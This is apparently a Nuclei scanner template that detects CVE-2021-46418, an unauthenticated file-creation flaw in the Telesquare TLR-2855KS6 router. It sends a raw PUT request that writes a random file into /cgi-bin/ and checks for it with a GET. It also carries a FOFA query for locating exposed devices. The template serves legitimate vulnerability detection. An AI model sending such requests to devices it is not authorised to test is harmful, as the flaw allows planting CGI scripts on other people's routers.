id: CVE-2021-46418

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Creation
  author: DhiyaneshDK
  severity: high
  description: |
    An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
  reference:
    - http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46418
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46418
    epss-score: 0.0528
    epss-percentile: 0.92891
    cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: telesquare
    product: tlr-2855ks6_firmware
    fofa-query: product=="TELESQUARE-TLR-2855KS6"
  tags: packetstorm,cve,cve2021,telesquare,intrusive

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

        {{randstr}}
      - |
        GET /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201'
          - 'contains(server_1, "lighttpd") && contains(content_type_2, "text/plain")'
          - 'contains(body_2, "{{randstr}}")'
        condition: and
# digest: 4b0a004830460221009d44d5515a4fb76835428d1562b0032a4103c4d052eb17b59fdef763909d3877022100984b2452c57cffdf5910bd10dc34369ff6d429649ab3225d2c2f08cb4b8ae011:922c64590222798bb761d5b6d8e72950